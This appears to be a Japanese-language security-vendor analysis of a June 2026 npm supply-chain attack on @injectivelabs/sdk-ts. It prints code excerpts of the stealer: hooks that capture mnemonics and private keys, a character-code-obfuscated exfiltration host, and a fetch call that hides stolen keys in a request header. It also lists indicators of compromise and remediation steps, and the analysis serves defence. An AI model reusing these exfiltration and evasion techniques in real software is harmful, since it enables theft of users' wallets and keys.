悪意のある公開により、 @injectivelabs/sdk-ts、週に約5万回のダウンロード数を誇るnpmパッケージに、ウォレットのニーモニックや秘密鍵が生成される際にそれらを記録し、攻撃者が制御するエンドポイントへ送信するコードが含まれていました。問題のあるバージョンでは、 1.20.21, は2026年6月8日、npmに公開されてから1時間も経たないうちに、メンテナーがこれに気づき、修正済みのバージョンを公開しました。その間に、攻撃者も同じものを再公開しました。 1.20.21 このディレクトリ内の他の17個のパッケージにおけるバージョン番号 @injectivelabs スコープは、それぞれが改ざんされたSDKに紐付けられており、そのいずれかに依存するプロジェクトは、推移的にその情報窃取型コードを取り込んでしまうことになる。
ペイロードは小さく、一見すると通常の計測ツールのように見えます。インストール時には実行されず、SDKの動作を妨げることもありません。アプリケーションが通常の使用中に鍵を生成するのを待ち、その後、密かにその秘密鍵をコピーします。
ステラーの仕組み
この悪意のあるコードは、2つのビルド成果物に含まれており、 dist/cjs/accounts-Cy0p4lLW.cjs そして dist/esm/accounts-jQ1GSgaW.js. クリーンな 1.20.23 ビルドと比較したところ、2つのファイルは、1つの挿入されたブロックと2つの1行のフックを除いて、バイト単位で同一であることが確認された。そのブロックには src/utils/key-derivation-telemetry.ts そして、SDKの最適化のための匿名化された利用状況メトリクスとして、独自のドキュメントコメントで囲まれている。しかし、これには匿名化された要素は一切ない。
2つのフックは内部に収まっています PrivateKey.fromMnemonic そして PrivateKey.fromHex、アプリケーションがシードフレーズや生の16進数キーを実用可能なウォレットに変換するために呼び出す標準的なエントリポイントです。各フックは実際の導出処理が実行される前に発動するため、正当な呼び出しが行われるたびに秘密鍵が取得されます:
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
「fm」および「fh」マーカーは、各レコードがどの種類の秘密情報(ニーモニックか16進数か)を保持しているかをオペレーターに伝えるもので、これによりオペレーターは自身の側でウォレットを再構築できるようになります。trackKeyDerivationは、タイムスタンプ付きのレコードをメモリ内のキューに追加し、フラッシュをスケジュールします:
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
エクフィルトレーションでは、攻撃者は周囲に溶け込むことに力を注いでいます。宛先ホストは文字コードの配列として保存され、実行時に再構築されるため、バンドル内でドメイン名を平文検索しても何も見つかりません:
ドメインで何も見つかりません:
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = "https://" + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
復号されたホスト、 testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, は、Injective独自のgRPC-webインフラストラクチャのように見えるように設計されたサブドメインであるため、データ流出トラフィックは、実際のInjectiveアプリケーションがすでに発行しているネットワーク呼び出しと混在することになる。2秒のデバウンスタイマーがキューに蓄積されたレコードをバッチ処理し、それらを「|」で結合して、blobをBase64エンコードし、送信する:
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
盗まれたデータはリクエスト本文ではなく「X-Request-Id」リクエストヘッダーに格納され、ノードパスではこれとともに長さゼロのリクエスト本文が送信されるため、ネットワーク上では、このリクエストはリクエストIDを含む通常のgRPC-web呼び出しのように見えます。すべての失敗経路は、エラーを返さない空のキャッチ処理となっているため、ブロックされたり失敗したりしたデータ流出でも、被害者にエラーが通知されることはありません。コンテンツタイプとして「application/grpc-web+proto」を選択することで、この偽装が完成します。
トリガーは実行時のキー導出であり、ライフサイクルスクリプトではないため、インストール後の動作のみを監視するインストール時スキャナーやサンドボックスからは、クリーンなパッケージとして認識されます。マニフェスト内のスクリプトブロックには、インストール関連のフックが一切含まれていません。
@injectivelabs スコープ全体での増幅
ただ @injectivelabs/sdk-ts@1.20.21 には情報窃取コードが含まれています。攻撃者がバージョン 1.20.21 で再公開した他の 17 のパッケージについては、それぞれのソースコード自体は変更されていませんでした。各パッケージは、 @injectivelabs/sdk-ts@1.20.21、毒が仕込まれたバージョン。これを設置したプロジェクトは @injectivelabs/wallet-core@1.20.21例えば、このケースでは、悪意のあるSDKを間接的に解決し、自身のマニフェストに「sdk-ts」という名称を一切記載することなく、情報窃取型マルウェアを実行してしまう。だからこそ、ここでは直接的な依存関係 のみを監査する依存関係 。ウォレット関連のパッケージ名は、ペイロードが取得することを目的として構築された、具体的なワークフロー、シードフレーズ、秘密鍵と直接対応している。
影響と封じ込め
この改ざんは、当該リポジトリで実績のあるGitHubアカウントからのコミットを通じて行われたものであり、これはドライブバイ攻撃ではなく、アカウント乗っ取りによるものであることを示唆している。悪意のある 1.20.21 2026年6月8日22:59(GMT+2)に公開され、メンテナンス担当者が23:18に変更を元に戻し、23:48にクリーンなバージョンが公開されました。npm自身の統計によると、悪意のあるバージョンは削除されるまでに310回ダウンロードされましたが、このプロジェクトの週間ダウンロード数50,000回や、依存パッケージ87個に比べればごくわずかな数です。 メンテナの迅速な対応があったからこそ、事態がさらに深刻化するのを防ぐことができたのです。
封じ込めは完了していません。情報源の報告時点では、悪意のあるバージョンはnpm上で警告付きで非推奨扱いとなっていましたが、削除はされていなかったため、依然としてダウンロード可能です。また、侵害されたバージョンのリリースアーティファクトは、プロジェクトのGitHubリリースページに依然として残っていました。これらのパッケージを経由したニーモニックや秘密鍵は、すべて漏洩したとみなすべきです。資金を移動させた後、鍵とシードフレーズを更新してください。
方法 Aikido これを検知する
もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。
まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。
チーム全体をより広くカバーするには、 Aikidoの「デバイス保護」機能は、チームメンバーのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係まで、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。
将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。
侵害の痕跡
ネットワーク指標
データ流出のエンドポイント:https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
悪意のあるファイル
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js、SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
影響を受けるパッケージ
@injectivelabs/sdk-ts@1.20.21(ステラーが含まれています)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
対策
- 任意のものをアップグレード
@injectivelabs1.20.21 に固定されている、または 1.20.21 に解決可能なパッケージを、クリーンな 1.20.23 に変更する。
最終更新日:2026年7月9日

